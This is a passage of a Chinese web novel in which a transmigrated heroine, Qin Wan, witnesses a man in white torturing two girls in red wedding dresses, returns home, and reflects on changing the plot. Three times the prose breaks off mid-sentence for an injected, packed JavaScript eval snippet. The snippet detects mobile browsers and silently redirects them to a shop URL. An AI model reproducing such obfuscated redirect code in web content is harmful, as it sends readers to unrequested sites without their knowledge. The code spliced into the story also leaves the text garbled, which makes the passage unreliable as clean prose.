被唤作清荷的少女立刻抬手,从秦婉怀里抢过红色嫁衣,一把拉过年纪小的少女到自己身后,一脸警惕的看向秦婉。 “你不是......你到底是谁?为什么会出现在那里面?” 秦婉抿着唇,脑中思绪万千,却一下子不知道该从何说起。 “姐姐,小菊姐姐还在里面,时间就快要到了,怎么办啊?” 年纪小的少女却仿佛是想到了什么,一下子拉住清荷的裙角,满脸焦急的看着洞口。 清荷也慌了神,也不管秦婉了,拉着年纪小的少女就跑向那处狭窄的洞口。 11. 南枝 “你......你们是要找谁吗?” 秦婉怀里还抱着红色的嫁衣站在二人身后,犹豫了一会儿还是开了口。 闻言,年纪小一些的少女转过身,双眸含泪,恨恨地看着秦婉,“都怪你!我们好不容易跑出来的!就为了......” “兰兰!” 清荷一把拉住激动的绫兰,摇摇头打断了她的话。 “我在下面看到了一个也穿着红色嫁衣的少女,你们是要找她吗?” 清荷和绫兰见秦婉表情诚恳,对视一眼,又齐齐看向了秦婉。 清荷深呼吸了几下,示意绫兰注意四周后,便抬脚走到了秦婉面前,几乎是和她脸贴脸,声音低哑,“你看到的是我们的姐妹,我们知道她早已经......” 记忆中又出现了无数可怖的场景,哽咽了一瞬,清荷又深深呼吸了一下,才强压下心中的万般情绪,语速很快,“我们想把她的尸身带出来,但是我们买来的绫带被你扯断了,你还有别的办法能帮我们把她带出来吗?” 年纪尚小的绫兰一边警惕地看着四周,一边情绪激动,声音哽咽,“是我拉错了人,但是那个洞里现在应该只有小菊姐姐的,怎么会勾到你呜呜呜。” “我......” 秦婉一时之间不知道该怎么说,看着眼前泪如雨下的二人,刚想开口却似乎听到后方竹林传来了一阵细微的声音。 秦婉还来不及说什么,就见面前二人神色骤变,本就瘦削苍白的脸上现在更是毫无一丝血色,双眼圆睁,仿佛已经预料到了什么尤其可怕的事情将要发生。 清荷一个闪身向她这个方向的前方扑了过来,秦婉下意识一个侧身翻滚进了竹林野草之中。 隐约之间,似乎听到竹林之中仿佛有什么布料划过的声音,秦婉直起到一半的身体又立刻趴伏了下去,刚想抬起头便见到离得近一些的绫兰正跪趴在地上微微侧脸对着她轻轻摇了摇头。 微风止,一阵细微的声音从右前方传来。 声音缥缈空灵,像是石块投入结成坚冰的湖面,冰面裂开,石块径直坠入冰冷的水面后,激荡起点点水花,而后又复归平静。 铃铛声阵阵,伴随着风过竹林的簌簌声,整个环境简直就像是恐怖现场一样。 秦婉屏气,更加用力地向下趴,恨不得把自己整个人都埋进土里。 “清荷,怎么这次还带着绫兰一起过来了?真是不乖哦。” 清润纯正的少年男音,伴随着夏夜的微风传来,似是流水击石、清泉入口,尾音还带着笑意,像是真正的知心的大哥哥一般。 然而跪趴在地上的两人听到声音却抖动得更加厉害了,红色嫁衣止不住地颤抖,脆弱得像是暴风雨中的花朵,花瓣飘零、根茎细嫩随时都会被风轻易折断。 男子见二人像是害怕到了极致,忍不住轻笑了两声,抬脚走上前去,轻轻扶起二人,开口语调轻柔,像是面对的是什么稀释珍宝一般,“怎么这么害怕呢?我现在又不会吃了你们。” 明明是轻言细语安慰的话,两人却像是突然听到了什么惊天噩耗一般,连忙双膝跪地,止不住地磕头认错。 刺啦! 是锐器刺入血肉里的声音! 死死抓住野草的手指下意识收紧,秦婉悄悄咽了下口水,忍不住悄悄抬眼看向前方。 竹影交叠、月影绰约,一个身着白袍的男子长身玉立,手里拿着一把锋利的小刀,手腕转动间,刀光阴寒、连绵不断的血珠正从刀锋间不断坠落,不过片刻,男子的脚下便是一滩血泊。 离得远了些,秦婉看不清清荷和绫兰具体情况如何,但看见她们抱着双腿痛苦蜷缩的模样,便知二人怕是受伤不轻。 “怎么?你们也想效仿南枝是吗?” 男子头戴白色的帷帽看不清神情,秦婉只听他冷笑一声,方才的温润亲和瞬间不复存在,整个人像是吸饱了有毒汁液长大的毒株,满身的洁白一点掩盖不住散发的阵阵恶意。 “小惩大诫,若有下次,我不介意提前......” 男子轻轻贴近二人,仿佛又说了一句什么,二人神色惊恐,顾不上腿上的伤,纤细的指尖都深深抓紧了泥土里,止不住地连连叩头。 砰!砰!砰! 二人脑门上早已一片血肉模糊,血迹染湿了泥土,滴溅在青草上,星星点点甚至还飞溅上了男子洁白的裙摆。 白衣男子一边掏出帕子细细的擦拭着小刀上的血迹,一边语调轻柔,仿佛又变成了之前那个温润的青年,“只是和你们开个玩笑罢了,怎么还当真了?快起来吧。” 清荷和绫兰停下了动作,却仍是跪在地上不敢动弹。 趁着月色,秦婉看到二人死死咬着唇,额头、嘴唇、手臂、小腿,身体各处似乎都受了很重的伤,但二人脸上却没有半点泪珠,只有深深的绝望和恐惧,像是人从在山崖的边缘跌落,尽管现在身体还在空中,却深深的意识到不久之后,自己就会重重摔入万丈深渊、粉身碎骨。 早已知道可怕的结局,却对此毫无对策,只能清醒而又痛苦的看着自己失控坠落,直至疼痛蔓延、呼吸停滞。 像是玩够了,白衣男子卸下伪装的面具,声音又低又轻,带着令人压抑窒息的笑意,“腿受了伤不能跑回去了,真是可惜啊,看来你们只能跪着爬回去了。” 两件红色的嫁衣停滞了一瞬,便开始一前一后的向前缓慢地爬行。 身边的空气仿佛都停滞了,夜风带来的寒意简直让人浑身发抖,秦婉简直不敢相信自己看到了什么。 “这么慢要爬到什么时候?” 白衣男子不耐烦地抱怨,突然浑身一震,像是想到了什么好玩的事情,语调上扬带着满满的兴味。 “之前和......看过牧羊的......,不如我们就来玩这个吧,你们当......,谁若是爬得慢了,我便......” 几人离得远了些,秦婉听不清楚男子的话,只看见男子手腕一转,手里的飞刀便迅速飞向后方绫兰。 “啊!” “兰兰!” 清荷顾不得自己还在不断渗血的大腿,看向后方又受了伤、痛苦倒地的绫兰,表情焦急,恨不得立刻爬过去查看她的伤势。 见状,白衣男子啧了一声,刚刚飞回到手中的飞刀下一刻便直直的顶住了清荷的脑门。 清荷爬过去的动作定住,锋利的刀尖再次刺破血肉,刀尖的血液直直的落下,清荷脸上的血迹却一路蜿蜒而下,流经眼睛,一滴滴坠落到地面上,像是整个人在流血泪一般,红衣、长发随风飘荡,痛苦绝艳。 “你们是不想陪我玩这个游戏是吗?” 清荷还没开口,绫兰苍白的脸因痛苦而扭曲,每次呼吸都伴随着剧烈的痛感,额头上渗出了层层细汗,却仍努力直起身子,压下喉咙中痛苦的哽咽,“我没事的清荷姐姐,我们......我们可以继续。” 清荷紧闭的双唇之间渗出缕缕血迹,原本绝望木然的眼睛里大颗大颗的泪珠无声地滑落,无声对望中掺着血丝的泪珠却仿佛包含了千言万语,两人对视,绫兰双目尽是血色,勉强勾起唇,惨白的脸上露出一个笑,无声地动了动唇,“我没事,我真的没事。” 白衣男子轻笑了两声,手腕一转,收回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051778|194515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了飞刀,看向绫兰满意的点点头,“还是绫兰懂事”。 仿佛有无数的火焰在身体上熊熊燃烧,灼热刺痛得秦婉无法呼吸,秦婉感觉自己的双手都在发抖,头昏目眩之间,她只有一个想法,就是立刻想办法结束这一切。 “婉婉!” “婉婉你在哪里啊?” 竹林之间传来叶宁的声音,由远及近。 “这里还有人?” 白衣男子紧紧皱眉,四下扫了扫,没有看到什么奇怪的东西。 “没有......没有。” 跪在地上的清荷和绫兰双双摇头。 白衣男子松了口气,刚要继续说什么,便听到那道呼喊声越来越近,仿佛下一秒就要到面前了。 “走!” 白衣男子一手揽住一个人的腰肢,一个闪身,便消失在了竹林之中。 “唔唔唔” 秦婉用力的拍开捂住她的手,看着眼前消失不见的人影,几乎目眦欲裂,压制不住满身的怒火,转身看向身后正轻轻擦手的裴渡,整个人几乎要跳起来。 “你干什么?!” 裴渡的动作一顿,抬起头看向面前仿佛困兽的秦婉,“我干什么?” “对啊!你不是都看到了吗!那个白衣男绝对......” 裴渡面无表情打断了秦婉的滔滔不绝,“所以呢?” “......什么叫所以呢?” 见秦婉一脸焦急困惑的样子,裴渡看向秦婉,月光下眼眸中仿佛有无数的光影跳动,语调平静,“所以你要去救她们?” “不然呢?你也看到了,她们都受了那么重的伤!没有救下她们,现在她们被坏人带走了,后果简直不堪设想。” 秦婉觉得自己完全不能理解裴渡的想法,越想越觉得害怕,二人恐怕是凶多吉少,不死也要受很多伤。 “你也受了很重的伤,你怎么能保证自己能救下她们?” 秦婉凝视着他默了片刻,哑声道,“我不能保证。” 裴渡轻轻叹了一口气,眸光愈加柔和,“既然不能保证......” 话音未落,秦婉又开口,“我不能保证,但我还是想试试!” 裴渡身形一顿,低头就看到秦婉清明的眼睛正认真坚定的看着他,琉璃眼瞳中容不得一丝隐匿的丑恶与阴暗,细碎的星光碾碎其中,澄澈璀璨,“我知道现在的自己能力有限,我不会去和他硬碰硬的,我原准备利用那边茂盛的竹子,在竹林间......” 秦婉一边拿出袖间的红发带,一边指向前方的竹林,说起自己临时想出的计划时眼神变得异常坚定,带着无法言喻的决心。 “婉婉,这个计划还可以嘛!” 叶宁不知何时来到了身后,手在鼓掌,表情却有点震惊,思索片刻又有点果然如此的感觉,微微歪着头看向秦婉。 “这是......可爱婉婉的另外一面?” 一旁认真听着的裴渡看向秦婉点点头,眼神落到前方幽暗的竹林。 “想法不错,但是整个计划还是漏洞百出,先不说你熟不熟悉......”。 “好了好了,你们回去再上课行不行?” 叶宁头疼的打断裴渡,转头又看见秦婉一脸担忧复杂的神色,轻轻拍了一下她的肩膀。 “婉婉你放心,殿下已经去追了,若是能跟到老巢,到时我们可以把他们一锅端了。” 秦婉轻轻点头,“沈姐姐她们呢?” 叶宁指了指山下的出口,顿了下开口。 “她们先下山了,郡主虽无大碍,但事关重大,耽误不得。” 12. 归家 秦婉点点头,突然抬头看向二人,一拍脑袋,脸色大变,“不好!我现在还没回去,我爹娘一定担心坏了!” 说着话,秦婉急急忙忙就要向山下跑。 叶宁连忙扶住即将被自己绊倒的秦婉。 “慢点慢点!” 秦婉道谢后,提起裙摆就要向山下跑去,却被人一把拉住了胳膊。 秦婉转头就见裴渡眼神从她凌乱的发丝落到她披着凌乱外袍的身体。 “是......是要衣服?等下啊。” 秦婉了然,就要脱下外袍塞到裴渡手里,却见裴渡轻笑了一下摇了摇头。 “你穿着吧,我送你下山,这样更快些。” 说着,裴渡就一把揽住秦婉的腰肢,闪身消失在山野之间。 微风拂过面颊,叶宁只听到一句 “山下见。” 站在原地的叶宁皱皱眉,看着两人的背影表情有点震惊,摇摇头自顾自地嘟囔了一句,“真是难得一见,裴渡居然也有上 赶着的一天。” 随后也收敛气息向山下赶去。 山间的空气带着几分清新的草木香气,伴随着微凉的夜风,吹在脸上凉飕飕的,秦婉低头看向下方的景色,眼睛亮晶晶的又看向裴渡,神色惊奇。 “哇哦,这就是传说中的轻功吗?” 裴渡侧目看了眼秦婉,淡淡的嗯了一声,又看向前方。 “好厉害啊!” “嗯” “......” 这一波也是给男主装上了。 “你又在偷偷骂我。” 秦婉心头一跳,突然对上裴渡看过来的视线,一双清冷的眸子幽深莫测,面上带着似笑非笑的神情。 “呃......呃怎么会呢!我是在夸你!我从来没见过这么厉害的轻功,这绝对是江湖第一。” 裴渡轻笑了一声,不置可否地看了眼她,脚下继续赶路。 秦婉看着裴渡似乎有点傲娇的神色,突然想起来原著里好像万人迷男主的设定确实是所谓的江湖第一武林高手。 “真的!我这个人从来不说假话的!你真的很厉害!看看这惊艳绝绝的身姿......真是麻雀吃了蟋蟀,雀食帅呀!” 想到原著的设定,秦婉夸起人来就一点心理负担都没有,叽叽喳喳地说个不停。 裴渡低头忍不住笑了起来,胸腔微微震动。 秦婉住嘴了,下意识紧紧抓住裴渡的衣袖,有点害怕地看了眼脚下。 “你......你别笑了,我有点恐高,你......你千万别把我抖下去了。” 裴渡笑得动作幅度更大了,抖动得也更为剧烈了,秦婉有点恼火,抬头看向裴渡想让他闭嘴。 夜色深沉,微风拂过,二人距离极近,裴渡的模样生得极为好看,不愧为原书中的万人迷男主,漂亮的五官浑然天成,弯唇一笑,月光下的眼眸中似有潋滟水光,澄澈柔和中带着挡不住的少年朝气。 “宿主宿主我来啦!” 正当秦婉愣神之际,006突然满血复活的在脑海里蹦来蹦去,吓得秦婉一个激灵动作幅度大得差点掉下去。 裴渡立刻紧紧扣住秦婉的腰,扫了眼她满脸通红的窘迫样子,心情大好。 “破系统你要干什么......” 秦婉话音未落,006已经在脑海里像土拨鼠一样尖叫着跑来跑去,表情惊恐,“放我下去!我还想活命!!!” 秦婉默默翻了一个白眼,看着006上蹿下跳半天,才幽幽开口。 “你能不能安静会儿,再这样下去,我还没掉下去,先被你吵得精神崩溃了。” 006听到秦婉的话,瞬间止住了动作,胡萝卜眨巴着漫画般的大眼睛,可怜巴巴地望着她,“宿主,人家也是太害怕了嘛,这个高度对于我这个小系统来说真的是太恐怖啦!” “......” 裴渡的轻功确实很好,不过片刻,二人便翩翩然落地站到了山脚下。 终于到了,秦婉抬头刚要开口道谢,便见裴渡向她的后方挥了挥手。 秦婉回头,便见沈清清正提着一个竹制食盒走了过来。 “婉婉,这里面有一些热的糕点吃食,第二层还有些伤药,郡主还没醒这边没法走开,你记得先简单包扎一下,回去再好好养着,等这边结束,我就去找你。” 说着,沈清清将盒子放到了秦婉身后的马车上,又抬手轻轻的替她理了理碎发,她的目光如同晨曦中的湖泊,清澈又温柔,“路上不要着急,我已经让人先去报过平安了,万事小心为上,不要再受伤了。” 秦婉点点头,杏眼水灵动人,朝二人笑盈盈的道谢,而后转身爬上马车,“嗯嗯,我先回去啦!”。 秦婉一上车便看到了座位正中间放着一件叠好的白色披风。用料精细,轻巧又厚实,一见就知不是俗物。白色披风外面缠绕着细细的金色丝线,来回交织着勾勒出了一朵朵盛放的花朵。这样式,秦婉一看就是裴渡的。 掀开车帘,秦婉见裴渡还站在一旁连忙朝他招手。 裴渡像是早有预料一样,面色不变,抬脚就走到了车边,清凌凌的目光直直的看向她。 “怎么了?” “这里面有你的披风,我拿给你?” “你不冷?” “我?我......好像是有点冷” 夜风袭来,凉意上身,秦婉忍不住打了个寒颤。 “那送你了” 裴渡移开视线,目不转睛的看向远方,仿佛前面出现了什么十分有趣的东西。 “啊?不是......” 秦婉刚想再说点什么,便见裴渡又转头看向车夫和侍从,多嘱咐了他们几句路上务必小心,便让他们尽快出发了。 “裴渡......还挺大方的哦”,得了许可,秦婉便披上了披风,细腻的绒毛裹满了全身,暖意袭来,秦婉忍不住惬意的感叹了一句。 脑海里回想起车帘落下前裴渡微红的耳后,秦婉忍不住笑了起来。 万人迷也抵不过年纪小,冷得皮肤都红了,还硬撑着呢。 夜色凝重,也不知具体过去多久,终于,车停在了秦府的门口。 秦婉一下车抬眼便见灯光四溢、恍如白昼的秦府门前站着乌泱泱的人,人人都是满脸焦急,看见秦婉下了马车全都迎了上来。 走在最前面的秦父和秦母脸上写满了担忧与欣喜,秦母快步上前,一把将秦婉搂入怀中,声音哽咽,没有说别的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054847|194515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是连声唤着:“宝儿,我的宝儿”。身侧的秦父也是眼眶通红,平日官场上犀利严肃的人此刻眼中满是对爱女平安归来的欣喜,“回来就好,回来就好啊”。 后面的丫鬟侍从们也终于放下心来,秦母身后的采荷看着平安归来的小姐心中又是高兴又是后怕,大大的眼睛紧紧的盯着秦婉,一眨不眨,眼泪像是断了线的珠子一般不断下坠。秦婉看向她,噘起嘴做了个鬼脸逗她开心,采荷一见便又忍不住笑了起来。又哭又笑的采荷像是个小花猫一般,惹得身旁本还伤感的紫竹也笑了起来。 笑声感染了在场的所有人,秦父也忍不住笑着摇摇头,一片其乐融融之中,秦母像是想起了什么,抬手轻轻捏了捏秦婉的脸颊,又紧紧拉起秦婉的手向里面走去,“宝儿还没吃饭吧,我们去吃饭!饭菜都给你热着呢,就等你回来吃!” “有我最爱的鸡腿吗?” “有有有!给你准备了一大锅的鸡腿!你想吃多少呀,就吃多少!” 身后的丫鬟侍从们也都跟着二人进了府内,秦父走向车夫和侍卫,从袖中拿出了沉甸甸的银钱袋子,分发递到几人手中。 “多谢几位了” 眼见平日里最是不苟言笑、一板一眼的秦父竟然双手递上银钱,第一次被大人物如此对待,几人皆是一惊,两两对视,连忙弯腰接过,“不敢不敢,大人言重了,保护小姐本就是我们分内之事,如今小姐平安归来,我们也就放心了。” 秦父笑着点点头,说道:“你们一路辛苦,回去也好好歇息吧。”几人再次行礼道谢后,便告辞离去。秦父望着他们离去的背影,心中感慨万千,长长地叹了一口气,像是卸去了身上如山厚重的压力,随后转身笑着进了府内。 前厅灯火通明,热气缭绕,秦婉换了一身舒适的衣裙后便迫不及待地坐在了餐桌旁,眼睛直勾勾地盯着那盘色泽诱人、香气扑鼻的鸡腿,嘴角都快流出口水来了。 秦母看着她那馋样,忍不住笑着打趣道:“宝儿,瞧你这小馋猫的模样,快吃吧,这一桌都是你的!” 秦婉眼睛一亮,迅速拿起筷子,大快朵颐吃了起来。 “怎么会伤得这么重!” 沈清清紧紧皱着眉头,面色清冷严肃,手上动作却细心又温柔,一边上药一边看着凌霄难看的神色,心下有了不好的猜想。 叶宁站在一旁,双手交叠,倚靠在桌子旁,眼神落到燃烧着的烛火上,“他们人有很多是吗?” 裴渡坐在椅子上,眉眼之间似有寒气缭绕,锋利逼人,“看这伤口,对面是下了死手,非要当场置你于死地的。” 凌霄脸色苍白,额头上渗出细密的汗珠,却还是强忍着痛意,咬牙说道:“确实不少,而且个个都是高手,出手狠辣,招招致命。” 沈清清手上的动作微微一顿,眼中闪过一丝担忧,随即又加快了上药的速度,轻声说道:“你先别说话,保存体力,伤口处理好了再说。” 叶宁的目光从烛火上移开,看向凌霄:“能够做出如此恶行的人,老巢必定也戒卫森严,连你也被发现重伤了,看来我们必须思虑周全后再行动,不能打草惊蛇。” 裴渡面无表情,抬眼看向窗外如墨夜色,月影绰约,映照大片大片的阴暗,“如今我们怕是被盯上了。” 13. 乌木发簪 “这是什么?......发簪?”秦婉细白的指尖正捏着一根筷子长的乌木条仔细打量着,玻璃珠似的眼睛看过来,里面是满满的好奇,乌木长条雕刻得有点粗糙,隐约能看到顶端还雕刻着什么。 阳光下水光潋滟,花池中越起了一条肥硕的鲤鱼,翻身入水时激荡起阵阵涟漪。 裴渡没有应声,正看着水面逐渐消逝的涟漪,水面归于平静才开口慢悠悠的道,“沈清清给你的,她要照顾郡主和殿下不便过来,你贴身放着就行,必要时说不定能救你一次”。 秦婉点点头,又用手仔细的摸了摸雕刻模糊的地方,抿着嘴想了半天,“这是......小猪?!” 耳边和脑海里同时传来了两道气急败坏的声音,“这是兔子!”。脑海中的006还在喋喋不休,“明明是兔子好嘛?!虽然这个工艺也啧啧啧太粗糙了,但我还是一眼看出来了,这就是我最爱的小兔子!”。 秦婉没管发疯的006,只是歪头看着身侧的裴渡,嘴边挂起一抹笑,垫着脚慢慢靠近他的耳边,“你是不是......” 淡淡的香气传来,裴渡下意识屏住呼吸后退了两步,蹙着眉想要反驳,“不是......” “你是不是暗恋沈姑娘?一直在偷看沈姑娘!不要狡辩哦,不然你怎么连这个都知道?!” 话音未落,秦婉率先说完,好似猜到了什么惊天秘密,捂着嘴笑了起来,声音如同碰撞的环佩一般清冽悦耳。 裴渡感觉一口气憋在喉咙里,喘不上来又吐不出去,半晌双手环胸,弯腰靠近正笑得灿烂的秦婉,语气温柔、面带微笑,“这么开心,想必之前教你的已经全都学会了吧,为师亲自和你对阵如何?”。 “可以啊,放马过来吧”秦婉双脚分开,摆出了一个武林高手的架势,认真的看着裴渡。这些天的训练也算是刻苦了,正好有时机查漏补缺。 “宝儿~”听见秦母在叫他们吃饭了,秦婉收手应了,“下午再比试,现在美味的饭饭,姐姐来啦~” 正午的阳光洒满了整个庭院,秦婉浅黄色的裙摆即将消失在转角处时,突然回头朝正站着的裴渡笑道,“大师别站着了,快来吃饭吧!还有......谢谢啦!”说着晃了晃手里的簪子,又提着裙子跑远了。 裴渡低下头去,手上正缠着秦婉几缕漆黑的发丝。静静看了几秒,将发丝放进了袖中一个专制的漆黑锦囊中。 不远处茂盛的花丛中一只明黄色的蝴蝶正在其间翩翩起舞,似乎还没有意识到不远的正前方隐藏着一张密不透风的蜘蛛网,枝丫阴暗处埋伏着的蜘蛛正阴毒的紧紧盯着它。 裴渡走向餐厅路过花丛,宽大衣袖无意间带起淡淡轻风,蝴蝶顺势挥动翅膀逆风而上,越过眼前的阴暗,在前方一株明艳的杜鹃花上落了脚。 夜风袭来,窗外细雨如丝,秦婉正坐在床上认真的打量着手里的乌木发簪。 “宿主,沈清清人真好啊,还送你这个!虽然雕刻得丑了点,但是这个可是药王谷独有的半夏乌木藤,生长极慢,千金不换!后面有剧情男二中毒就是被这个救活的,这波我们赚大啦!”006在脑海里撒花庆祝,秦婉却没有应声。 “宿主,你......你怎么啦?又获得了一件保命神器,你怎么不高兴呀?” 秦婉抬眼看着虚空中的胡萝卜,蹙着眉,“男主为什么这么好心?我总觉得哪里不对,而且剧情又偏移了,我担心后面会不会......” 006的声音变得柔和,带着几分安抚的意味,“宿主,别太担心啦。剧情虽然会有偏移,但这也是我们的机会呀。而且男主裴渡,他虽然看着确实有点冷冰冰的,但也不一定就是坏人嘛。你和男主的关系有了改善,这对于我们的剧情发展也是有利的!你也更能做好痴情人设啦!” 秦婉轻轻叹了口气,手指无意识地摩挲着发簪上的雕刻,“希望如此吧。只是,我总有种不祥的预感,好像有什么大事要发生。” 这段时间,秦婉在家里养病总是忍不住想很多。 究竟怎么做才是真正正确的呢? 她确实很想很想尽自己所能去救助那些被困的人,脑海里出现了一幕一幕的画面。 火光四溢,她看见凌月眸子里的害怕、绝望和无助,可怕的火蛇吐着长长的信子,想要一口把眼前娇小的少女一口吞下。秦婉看着那一幕场景,不知为何,觉得自己头痛欲裂,但仍深知自己没有办法坐视不理。这才转身投入火海,无论如何能不能改变剧情真正的救下她,她还是想要试一试。 鲜红的血衣、神秘的花朵、坍塌的障目小镇、祈福的侧妃,一连贯的事情仿佛是一颗颗圆润的珠子,好像有一根细细的丝线轻轻将他们串联了起来,可是眼前迷雾四起,到处都是虚妄与灰白,看不清来路也看不见去处。 磕头的少女、伪善的白衣男子、可怕的凌虐、神秘的南枝,这些的出现,仿佛擦拭了镜子中的淡淡迷雾,氤氲的水汽中,秦婉感觉自己好像触及到了一点点真相的边缘。 可是,这是正确的吗?这是自己应该做的吗?她真的愿意或者真的能够打破剧情的限制,去挽救那些生命吗!如果因为她的动作,剧本剧情偏移了,蝴蝶效应产生了更多的严重后果,自己真的能够承担得起吗? 回想起自己平安归来时,秦父秦母的泪花和眼神,父母之爱,情谊深厚,秦婉不自觉地咬紧了嘴唇。 现在的生活不是最好的吗?现在的生活不就是自己想要的吗? 现代的孤儿变成了书中的富家小姐,拥有了很爱自己的父母和姐妹,这是自己在现代每日每夜都在想象的呀。 按部就班的做好自己的身份,完成自己的任务,等到自己的这段剧情结束,系统就会给自己找理由更改剧情,真正的任意的享受富贵生活不是就很好吗?! 可是!可是为什么自己却这么纠结呢! 吃着最爱的大鸡腿、睡着软乎乎的被褥、投入暖暖的父母怀抱、拥有着合身又美丽的珠宝衣物,好不容易可以躺平享受这一切,为什么脑海里却总是来回反复地闪现那些片段呢。 红嫁衣少女脸上的血泪、白衣男子手中滴着血的飞刀、魔窟里数不清的金银珠宝...... 先不说自己的性命和富贵,如果后面再继续强行干涉剧情,引导了分支剧情的存在,那么剧本后面会衍生出什么呢?会不会造成什么更可怕的后果!会不会影响到系统! 如果自己真的出了事情,那么秦父秦母又会怎么样呢? 秦婉感觉自己的脑子很乱,这段时日不停地在想着这些,已经强行不再去想那些主剧情或者分支剧情的东西了,但是,她好像快要控制不住自己了。 难道?这就是所谓的圣母心? 秦婉在内心无奈的叹了口气。 006罕见的沉默了一会儿,然后开口,“宿主,你放心,无论会发生什么,我都会陪着你一起面对的。我们现在有了这个发簪,也算是多了一份保障。而且,你如今锻炼如此刻苦,之前受的伤也不是白受的,你的实力已经提升了很多呢。说不定有一天,你真的能变成女侠了。” 秦婉闻言,嘴角微微上扬,黑黝黝的眼珠中闪过一丝坚定,深深呼吸了几下,整个人看起来更加的明媚阳光,“你说得对,006。我不能一直这么杞人忧天下去。不管未来如何,我都要勇敢面对。毕竟,我可是大力水手秦婉哈哈哈。” 006晃了晃胡须,胡萝卜头点个不停,“对对对!作为胡萝卜王子,我也会一直支持你的!” 秦婉笑着刚要调侃006,就见006仿佛是到点就要睡觉一样,仿佛立刻就要倒在地上昏睡过去。 “宿主,是因为秋天要来了吗?为什么我最近这么困啊。” 秦婉还没来得及再多说些什么,就见006已经昏睡了过去。 好像是啊,006最近睡得越来越频繁了,时间也越来越长了,秋困吗?还是说摸鱼改成睡觉了? 暂时没什么头绪,加上这几天的连日辛苦训练,秦婉不一会儿便也倒头睡熟了过去。 清晨的日光熹微,前段时间的锻炼让秦婉深刻意识到,只有好好锻炼自己才是自己真正拥有的底气。 锻炼身体!增强体质!加油加油!一二一! 采荷双手提着裙摆,站在一边急急地叫住了正满头大汗、跑得起劲的秦婉。 “小姐!永宁郡主来了!” “来啦来啦!” 脱下黑色的练功服,秦婉换了身浅黄色的纱裙,采荷还给她迅速编了两条小辫子,嫩绿色的丝带缠绕着黑发,衬得整个人像是花丛中的小蝴蝶一般,轻盈灵动。 秦婉刚走到大厅,原本坐着的凌月便一下子站起了身,放下了手中端着的茶碗,赶忙快步走过来抱住了她,粉色的裙角缠绕着浅黄色的裙摆,两个人紧紧贴在一起。 不过片刻,凌月又推开了她,一把紧紧抓住了她的手,满脸担忧的打量着她,青春稚嫩的少女嘴里却是絮絮叨叨个不停,“有没有伤着哪里啊?......我在说废话,你肯定伤得很重,在大洞里你都吐血了!哗啦哗啦的吐血!我当时怎么叫你你都不醒!我也快吓晕了。” 秦婉被她抓得有些疼,但也明白她的关心,心里暖融融的,笑着安慰道:“我没事啦,你看我这不是好好的嘛。那点小伤,对我来说根本不算什么,早就好啦。” 凌月却不信,嘟着嘴、眼神嗔怪道:“还小伤呢,都吐血了,怎么可能没事。你快坐下,让我再仔细看看。” 说着,便拉着秦婉在大厅的椅子上坐下,上下左右地仔细查看起来。 秦婉笑着拍了拍她的手,动作夸张的比划着,“我真的没事,你要是不信的话,我现在可以给你连翻一百个跟斗。” 凌月听了,知道她在开玩笑,捏了捏她的脸颊,这才稍微放下心来,但仍旧不放心地叮嘱道:“你呀!虽然我真的特别感激你,但是我还是想说,你以后可不能再这么冒险了,知道吗?自己的性命才是最重要的!而且你当时根本就不认识我,居然就冲过来救我!你真的是......我当时就想着如果你要是有个什么三长两短,我......” 秦婉心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054848|194515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感动,拉着凌月的手,郑重地点了点头,“遵命啦郡主,以后我也会小心的,不会再让你担心了。”凌月这才露出笑容,两人相视而笑,大厅里的气氛顿时变得温馨起来。 “对了!你来找我具体是要说什么事情的呀?” 秦婉眼睛眨巴眨巴,一动不动地看着凌月。 “当当当!这个送你!看看怎么样!” 说起这个,凌月皎洁白净的脸上呈现出了神秘的笑意,突然从身后侧拿出了一个黑色的匣子。 木质的黑色匣子上面还雕刻着一朵盛放的花朵。 秦婉眯起眼睛,状似收藏了很多宝物的大师一样,伸手细细的摩挲了一会儿,忽然抬眼看向凌月,“这上面雕刻的是......乌针沙棠?” “对!” 凌月拍拍手,眼睛也亮晶晶的看向秦婉,骄傲夸赞,“真聪明!”。 “盒子里面是什么?......镜子吗?” 秦婉打开盒子,古朴的盒子里放着一面古铜色的镜子,镜面光滑如水,映照出两人的面容。秦婉轻轻拿起,镜身透着一股温润的质感,镜子的背面却渗透着刺骨的寒意,仿佛蕴含着某种难以言说的神秘的力量。 她抬头,眼中满是疑惑的看向凌月。 只见凌月收敛起笑容,神色复杂,看向镜子的眼神里流露出怀念和留恋,缓缓开口,“这是小时候我和我阿娘回苍云山,我祖婆婆给我的,说是非常非常重要的东西,就和我的性命一样重要。” 